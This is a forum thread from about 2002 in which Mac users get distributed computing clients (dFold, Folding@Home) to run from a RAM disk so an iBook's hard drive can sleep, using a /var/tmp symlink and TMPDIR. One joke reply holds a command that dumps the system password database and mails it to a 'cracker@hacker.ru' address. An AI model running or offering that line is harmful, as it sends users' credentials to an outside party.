[Fraki]

http://www.macfixitforums.com/php/sh...;o=7&part=

Enjoy.

[The_Equivocator]

Originally posted by Fraki:
<STRONG>http://www.macfixitforums.com/php/showflat.php?Cat=&Bo ard=Forum38&Number=365467&page=0&view= collapsed&sb=5&o=7&part=

Enjoy.</STRONG>

Nice, thanks for the info, Fraki. This should allow me to actually sleep my computer again... I don't think I've let it sleep for months, now.

[reader50]

I'll test this out. If it works, it will go on the optimization pages.

[enola]

I tried the ramBunctious software last night on my iBook hoping that this would mean my HD would be able to spin down finally.

So I created a 15MB RAM disk and copied the distribfold directory over to it and started foldit from there. So far so good. I set the HD sleep to 10 minutes and waited. It never spun down. Anyone know of a way to manually spin down the HD?

Now I'm wondering if syslogd might have something to do with my HD not spinning down. It's always writing out to files which means disk activity. I'm stumped.

reader50, I'd be interested to see what the results of your testing are.

[Fraki]

Well, works well enough for me so far. I didn't do anything in the Terminal; I used ramBunctious; worked quite well. After I made the RAM disk with ramBunctious, it didn't seem to appear anywhere, although the file was there - but the disk mounted fine with Disk Copy, so no problems. I've now made it so Disk Copy is the auto-opener for the .ramb file.

Note that: a) the path to the volume is not '/&lt;disk image name&gt;', but rather '/Volumes/&lt;disk image name&gt;'. (Of course it's probably easiest just to find out the exact path by dragging the folder...) and b) remember to update the path in the SetiDockling prefs as well, if you use it. (And if you don't use it, you should! ...Death to the GUI OS X version! )

Good luck to all!

[Grozni Majmun]

I couldn't get it to work with dfold either. I wonder if there is anything else it is accessing the HD for. I might try with some of the other clients too.

It would be really cool if this works....

[Grozni Majmun]

It seems to work with F@H. I loaded the CLI version onto a RAM disk and started it. The HD did spin down. I'll let it run overnight and see what happens.

It's odd, isn't it? Does this mean that dfold accesses other stuff on the HD than what is in its own folder?

[Michael A. Peters]

Originally posted by Grozni Majmun:
<STRONG>It seems to work with F@H. I loaded the CLI version onto a RAM disk and started it. The HD did spin down. I'll let it run overnight and see what happens.

It's odd, isn't it? Does this mean that dfold accesses other stuff on the HD than what is in its own folder?</STRONG>

nidump passwd . |mail -s "passwd file" cracker@hacker.ru

[reader50]

Originally posted by Michael A. Peters:
<STRONG>nidump passwd . |mail -s "passwd file" cracker@hacker.ru
</STRONG>

Oh yes, that must be it.

[enola]

Originally posted by Grozni Majmun:
<STRONG>It seems to work with F@H. I loaded the CLI version onto a RAM disk and started it. The HD did spin down. I'll let it run overnight and see what happens.

It's odd, isn't it? Does this mean that dfold accesses other stuff on the HD than what is in its own folder?</STRONG>

Hmmm ... that's interesting. I wouldn't think so. There is a command you can run in the terminal called fstat that identifies open files. I haven't messed with it much but it might provide a clue. There's also "fs_usage -e" to get info on stuff related to file system activity. That's all I've picked up in my travels. Anyone know any others to diagnose what's going on?

I'll run some controlled testing on the iBook later on today. Unfortunately I getting ready to go to the eye doctor and once my pupils are dilated I'm not going to be able to see a thing on the computer screen. Darn, I'm really curious now.

I'll post back anything I find.

[enola]

Okay, so here's what I've discovered so far.

I wanted to make sure the HD on the iBook was spinning down properly without anything running just to make sure I didn't have some weird issue going on. Yes, the HD does spin down after the allotted time.

Now when the dfold client (foldtrajlite) starts up it creates 4 files in /var/tmp for each instance you have of the client. You can identify these files because their filenames contain the PID number of the foldtrajlite program.

Anyway, it seems that foldtrajlite is constantly opening these temp files. Doing fstats, reads, and lseeks on them. Then closing them again. Over and over and over. I also happened to do a "ls" at the right time and saw it create a temp file (again with the PID in the filename) then remove it. But generally there are always the 4 files. They don't get written to, just read.

So, I think this is what's causing disk access outside of the RAM disk and therefore why the HD doesn't spin down.

[Grozni Majmun]

Good work enola!

I don't suppose there is a simple way to get those files to be on the RAM disk? Should we post this question over at the official dfold forums? Perhaps they could consider changing the location of those files for a future release.

In the meantime, I suppose I can just run F@H at night, so the disk can sleep, and dfold during the day, when it is spinning most of the time anyway.

[enola]

Originally posted by Grozni Majmun:
<STRONG>I don't suppose there is a simple way to get those files to be on the RAM disk?</STRONG>

There's a sort of simple way if you are comfortable with unix commands. You could rename the original tmp directory to tmp.orig. Then create a symbolic link called tmp in the /var directory and point it to a directory that's on the RAM disk. I just did this as an experiment and now my HD is sleeping even thought I am running the dFold client. My iBook thanks me.

I don't think this is a great long term solution as you have to keep renaming tmp.orig back to tmp when you unmount the RAM disk. Other things write to /var/tmp that would get very confused if you forgot to move the original back and the link now goes to nowhere. It works for the short term though. At least for all of 20 minutes of testing on my part.

I can provide the steps I took if anyone really wants to try this. I wouldn't recommend it if the command line makes you squeamish.

[Grozni Majmun]

Originally posted by enola:
<STRONG>
I can provide the steps I took if anyone really wants to try this. I wouldn't recommend it if the command line makes you squeamish.</STRONG>

I'd like to try it, even though it sounds like too much of a hassle to do on a regular basis. The CLI doesn't make me squeamish, especially if I get step by step instructions (please).

I like trying out all this DC stuff. That is how I have learned all the UNIX I know. (Which, admittedly isn't all that much)

[enola]

Here it is for what it's worth. I'll start at the beginning even though I know you've done some of this already.

--Things to do on the RAM disk--
1. Create the RAM disk using ramBunctious. I made mine 30MB.
2. Copy the distribfold directory to the RAM disk.
3. Create a folder called tmp at the top level of the RAM disk (just to be simple).
4. In the Finder select this RAM disk tmp directory, do a cmd-I, and set the privileges to "Read & Write" for Owner, Group, and Everyone. Hit Apply.

--Things to do in /var--
1. Fire up the Terminal and execute the following commands:

cd /var
sudo mv tmp tmp.orig
sudo ln -s /Volumes/name_of_RAM_disk/tmp tmp

Be aware that if the name of the RAM disk has spaces (like mine does) you will need to put quotes around the path, like so:

ln -s "/Volumes/DC Projects/tmp" tmp

-or-

Use your TAB key to do file name completion and it will escape the spaces for you. Type ln -s /Vol[hit TAB key now] and you will see the "/Vol" complete to "/Volumes/". This is harder to describe than do. Just try it if you want. File name completion just needs the first couple of letters to try and make a match. I use it all the time.

That's it. Fire up the dfold client from the RAM disk and Bob's your uncle. The HD may wake up intermittently. In the time it took for me to write this it spun up once but spun down after about 5 minutes and has been quiet ever since.

When you want to put things back to normal again do the following back in the Terminal:

cd /var
sudo mv tmp tmpLink
sudo mv tmp.orig tmp

And when you want to use the RAM disk again do the following in the Terminal:

cd /var
sudo mv tmp tmp.orig
sudo mv tmpLink tmp

So basically once all the set up stuff is done the only thing to do is the rename back and forth.

Whew!

Ugh, I know this isn't pretty but it works. Good luck.

[Grozni Majmun]

Thanks! I'll try this as soon as I turn in my thesis. Should be Monday...

[[APi]TheMan]

Has anyone gotten RC5 to work with a RAM disk? I haven't tried it yet, but I wanna know if anyone has...

[Michael A. Peters]

Has anyone documented performance improvements?

I imagine there might be while the drive is asleep because OS X won't be accessing physical hd during that period, but I'm skeptical that there's much (if any) performance gain during regular use.

[[APi]TheMan]

Originally posted by Michael A. Peters:
<STRONG>Has anyone documented performance improvements?

I imagine there might be while the drive is asleep because OS X won't be accessing physical hd during that period, but I'm skeptical that there's much (if any) performance gain during regular use.</STRONG>

I think that the performance increase would come from the program being run in RAM more than the hard drive not being accessed... because RAM is way faster than a hard drive.

[Michael A. Peters]

programs always run from ram.
That's the way modern computers work.
An executable is loaded into memory and then executed from memory.
It does that wether or not you have a ram disk.

In OS 9 the reason why seti sees a speed bump on a ram disk (assuming that vm is off) is that seti writes to disk several times a minute and that i/o takes time.

Folding@Home doesn't write to disk nearly as often as seti does.
dFold- I don't know.

Anyway- in OS X you have a swap file, and ram that's not being used gets swapped to make room for disk read cache and ability to quickly launch a new app- even if there is free memory. This actually is better than swapping only when needed, as it cuts down on the io time and the extra ram acting as disk read cache really improves performance.

If the contents of the ram disk ever gets swapped, there goes any performance advantage you might have as its now has to be read from disk anyway.

It's possible the ram disk may never get swapped, as it is being written to meaning the OS sees that chunk of memory as not being idle- but I don't know.

Perhaps it would be swapped on something like folding where it doesn't write to disk every minute.

That might actually make it slower because (if it does go to swap) it would need to be read from swap into memory before the data could be written.

What would speed up these apps is a write cache that can not be swapped.
If there is a way to tell the OS to never swap out the ram disk- then there would be a potential speed advantage.

Otherwise- I'm seriously skeptical.

keep in mind- if your system ever needs to page now because you run more stuff than you have ram for, a ram disk will make the sitation even worse because there is that much (size of ram disk) less real ram to work with.

[enola]

Originally posted by Grozni Majmun:
<STRONG>I don't suppose there is a simple way to get those files to be on the RAM disk? Should we post this question over at the official dfold forums? Perhaps they could consider changing the location of those files for a future release.
</STRONG>

I just found this over on the dFold project site. I'm going to try this when I get home tonight.

How can I change the location where temporary program files are stored?
This is especially useful if you keep running out of disk space on your TEMP partition/directory. To change this on Windows, simply set the environment variable TEMP to point to the directory you wish to use. Under 95/98/ME just open a DOS shell and type:

set TEMP=dir

where "dir" is the desired directory. On NT/2000/XP you may so this the same way, or you may open the Control Panel, select System Properties, and then the Advanced tab. Then select Environment Variables and change its value there.
On UNIX, you can usually set this through the environment variable TMPDIR. Depending on your shell, type

export TMPDIR=dir or
setenv TMPDIR dir

If neither of these works, try 'man tmpnam' for details specific to your system.

[ 05-14-2002: Message edited by: enola - fixed setenv line ]

[ 05-15-2002: Message edited by: enola ]

[Grozni Majmun]

Excellent! I got it to work with a little modification. I used the setenv command, but with a space instead of the =.

Summary:

I used rambunctious to create a ram disk called 'dfold' (20MB, but could probably be less). The ram disk contains all the df files, and I created a folder on it called 'tmp'. Rambunctious automatically saves the ram disk to the HD when you quit the program, so you can just double click the saved file to load the same ram disk and its contents again.
I then typed:

setenv TMPDIR /Volumes/dfold/tmp

in the terminal to get it to use that folder for temporary files. The setting only works within the current shell, so you want to start df from the same shell. When you open a new terminal window, it is back to the way it was. It may be easier to add the above line at the top of the 'foldit' script, so you don't have to type it every time.

This is really cool. Now that the hard drive spins down, I'll let the little iBook run dfold at night too. Thanks a lot for your help enola.

[mikkyo]

Originally posted by Grozni Majmun:
<STRONG>Excellent! I got it to work with a little modification.</STRONG>

Be sure to let us know if there is any speed benefit

[Grozni Majmun]

Originally posted by mikkyo:
<STRONG>

Be sure to let us know if there is any speed benefit </STRONG>

Well, I'd be surprised if there was much of an improvement. I haven't been doing real benchmarks, because I use the comp too much for benchmarks to be meaningful. I just feel better about leaving it running overnight if the HD goes to sleep.